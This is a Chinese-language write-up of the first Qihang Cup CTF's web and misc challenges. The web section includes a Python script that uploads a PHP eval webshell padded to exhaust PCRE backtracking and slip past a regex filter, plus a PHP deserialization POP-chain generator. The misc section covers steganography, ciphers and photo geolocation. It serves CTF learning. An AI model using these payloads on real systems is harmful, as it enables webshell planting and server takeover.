第一届启航杯-web-misc(全)

发布于:2025-03-01 ⋅ 阅读:(10) ⋅ 点赞:(0)

web

Easy_include

简单的伪协议

PCREMagic

<?php
// 定义函数 is_php,用于检测输入内容是否包含 PHP 的 eval 恶意代码
function is_php($data){
     // 使用正则表达式匹配 <?php ... eval(...) ... ?> 模式
     // 修饰符说明:i=不区分大小写,s=允许 . 匹配换行符
     return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}

// 检查是否有文件上传,如果没有则显示当前文件源码(用于题目展示)
if(empty($_FILES)) {
    die(show_source(__FILE__)); // 显示源码后终止程序
}

// 创建用户专属目录:基于客户端 IP 的 MD5 哈希值
// 示例目录:data/8a599e35e4b57e45e4b57e45e4b57e45
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);

// 读取上传文件的全部内容到内存中
$data = file_get_contents($_FILES['file']['tmp_name']);

// 调用安全检测函数
if (is_php($data)) {
    echo "bad request"; // 检测到恶意代码则拒绝请求
} else {
    // 如果用户目录不存在则创建(递归创建目录,权限 0755)
    if (!is_dir($user_dir)) {
        mkdir($user_dir, 0755, true); // true 表示递归创建父目录
    }

    // 生成随机文件名:0-10 之间的整数 + .php 后缀
    // 示例路径:data/md5_hash/7.php
    $path = $user_dir . '/' . random_int(0, 10) . '.php';

    // 将上传的临时文件移动到目标路径
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    // 重定向到上传的文件(HTTP 303 状态码表示 "See Other")
    header("Location: $path", true, 303);
    exit; // 终止脚本执行
}
?>

这里直接最大回溯绕过pre 

import requests  # 导入requests库,用于发送HTTP请求
from io import BytesIO  # 导入BytesIO类,用于在内存中处理二进制数据

url = "http://2025.qihangcup.cn:32789/ "  # 定义目标URL,即要发送请求的服务器地址

# 创建一个包含文件的字典,用于模拟文件上传
# 'file' 是表单中文件字段的名称,BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000) 是文件内容
# 文件内容包含一个PHP代码片段 `<?php eval($_POST[1]);//`,后面跟着1000000个字节的字符 'a'
files = {
    'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
}

# 发送POST请求到目标URL,携带文件数据
# `allow_redirects=False` 表示不允许重定向,即如果服务器返回重定向响应,requests不会自动跟随
res = requests.post(url=url, files=files, allow_redirects=False)

# 打印服务器返回的响应头信息
print(res.headers)

然后直接访问根目录即可

绕过也可以段标签绕过

 Web_IP

一进去看看源代码 ,发现flag.php,点进去

没有想法,看看哪个hint.php 

在源代码发现提示,抓包flag.php页面,尝试发现是ssti模板注入(Smarty 模板注入)

PHP的模板注入(Smarty模板)_smarty模板注入-CSDN博客

Web_pop

<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
    public $name;
    protected $func;
 
    public function __destruct()
    {
        echo "Welcome to QHCTF 2025, ".$this->name;
    }
 
    public function __isset($var)
    {
        ($this->func)();
    }
}
 
class Sec{
    private $obj;
    private $var;
 
    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }
 
    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}
 
class Easy{
    public $cla;
 
    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}
 
class eeee{
    public $obj;
 
    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}
 
if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}
<?php

class Start{
    public $name;
    public $func;
 
    public function __destruct()
    {
        echo "Welcome to QHCTF 2025, ".$this->name;
    }
 
    public function __isset($var)
    {
        ($this->func)();
    }
}
 
class Sec{
    public $obj;
    public $var;
 
    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }
 
    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}
 
class Easy{
    public $cla;
 
    public function __call($fun, $var)//Easy::__call($fun, $var) 中的 $fun 是方法名(即 "check"),$var 是参数数组(即 [$this->var])
    {
        $this->cla = clone $var[0];
    }
}
 
class eeee{
    public $obj;
 
    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}
 
$a=new Start();
$a->name=new Sec();
$a->name->var=new eeee();
$a->name->obj=new Easy();
$a->name->var->obj=new Start();
$a->name->var->obj->func=new Sec();


echo serialize($a);
echo "\n".urlencode(serialize(($a)));

 

misc

QHCTF For Year 2025

QHCTF{FUN}

PvzHE

flag藏在images

 请找出拍摄地所在位置

关键信息是柳城与雅迪,绿源电动车

在电脑的地图搜半天没结果,去手机上搜搜 

有个有点像,点进去看看。

确实有绿源电动车

那就直接找路了

QHCTF{广西壮族自治区柳州市柳城县六广路与榕泉路交叉口}

你能看懂这串未知的文字吗

给了一个看不懂的文字

识图可以得到表

然解密的得szfpguwizgwesqzoaoerv,但是flag不是这个,将图片拖随波逐流,发现可疑信息,猜测key。

最后发现是维吉尼亚密码

注意题目给的图片带感叹号,所以flag也要带 。QHCTF{cryptoveryeasybysheep!!!}

______启动

一直找tcp流,到135时发现敏感数据

访问http://101.126.66.65/log​​​​​​(现在地址不可访问了)就可以下载一个log文件,即可得flag

猿类的编程语言你了解吗

jphs隐写。(这里没密码,直接提取)

JPHS(JPG)工具介绍和下载-CSDN博客  //这里百度网盘下方便

【隐写工具】【试一试?】jphide seek(JPHS) 使用方法,检测提示,附下载地址-CSDN博客看这个学习如何使用

BrainFuck解密即可(Ook!所需的字符太多,利用".!?"来简化Ook,本质上是一样的)

Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online. //也可以用这个解密

猜猜这是哪

这个比较难,关键信息是银行,酒店,题目还提示是是郴州市

QHCTF{湖南省郴州市汝城县汝城大道与东泉路交汇处西北} 。这题太难了,没有多余的信息,就硬找,要找到汝城才行。

取证

环境有点问题1,镜像挂载不上去,刚好平台也关了,到此为止吧

第一届启航杯Forensics部分个人WP-CSDN博客